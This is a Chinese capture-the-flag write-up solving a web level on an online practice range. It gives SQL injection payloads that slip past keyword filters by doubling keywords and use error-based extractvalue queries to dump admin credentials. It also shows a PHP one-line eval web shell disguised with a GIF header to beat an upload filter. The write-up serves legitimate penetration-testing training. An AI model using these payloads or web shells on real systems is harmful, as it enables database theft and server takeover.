封神台靶场链接:封神台 - 掌控安全在线攻防演练靶场,一个专为网络安全从业人员设计的白帽黑客渗透测试演练平台。
关卡:
点击传送门跳转至关卡界面:
尝试在此页面sql注入后无果,于是使用御剑扫描目录试图找到登录界面,扫描结果:
尝试第一个admin路径后发现登录界面,url:http://pu2lh35s.ia.aqlab.cn/bees/admin/login.php
界面如下:
输入账户密码验证码后用burp抓包:
判断注入点:
报操作数据库失败,说明为注入点,使用order by看页数:
' order by 6#
order by 5显示正确
order by 6显示操作数据库错误:
由此可见页数为5
尝试联合注入看看结果:
' union select 1,2,3,4,5#
这里可以看到我们输进去的union和select被过滤了,于是构造字符拼接进行绕过:
' un union ion selselectect 1,2,3,4,5#
很明显没有返回我们想要的东西,联合注入这条路估计是行不通了
注:这里我尝试过使用:
' ununionion selselectect 1,2,3,4,5#
结果报错:
我猜测他过滤的时候把空格也加上了
虽然联合注入行不通,但是我们可以尝试下其他注入方式,比如报错注入:
' a and nd extractvalue(1,concat(0x7e,(seselectlect database())))#
注:这里and的字符拼接也是我尝试过后发现他把and给我过滤了
nice,报错注入可以,我们发现数据库了
既然有了数据库名,我们就要进一步注入找账户名和密码了,幸运的是回显以及告诉我们账户表名和密码表名了:
于是我们直接构造报错注入语句查看用户名和密码:
先找用户名:
' a and nd extractvalue(1,concat(0x7e,(seselectlect admin_name fr from om bees_admin limit 0,1)))#
告诉我们说不止一行,叫我们用limit,好的,重新构造:
ok,成功找到用户名:admin
同样的道理构造注入语句查看密码:
' a and nd extractvalue(1,concat(0x7e,(seselectlect admin_password fr from om bees_admin limit 0,1)))#
ok,检验告诉我们,这是一个md5加密,于是去cmd5:
Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder
解密发现密码也是admin,好家伙,弱口令是吧(
ok,既然拿到用户名和密码了,不直接登录还有其他选项吗
好的进入后台了,现在要找flag很明显就不得不找找文件上传点写码上传试试了
很好,没花啥功夫就找到了上传点,要求我们只允许上传的图片类型:gif|jpeg|png|jpg|bmp
好的,上传文件后用burp抓包改类型:
我这里构造的一句话木马语句为:
GIF89a
<script language='php'>@eval($_POST[shell]);</script>
抓包后修改类型后放包:
点击图片找到上传路径后蚁剑或者菜刀连接:
我这里用的蚁剑:
根目录下找打flag:
总结:这次靶场个人感觉质量还是挺高的,和之前省赛的题有点像, 自己要坚持努力学习!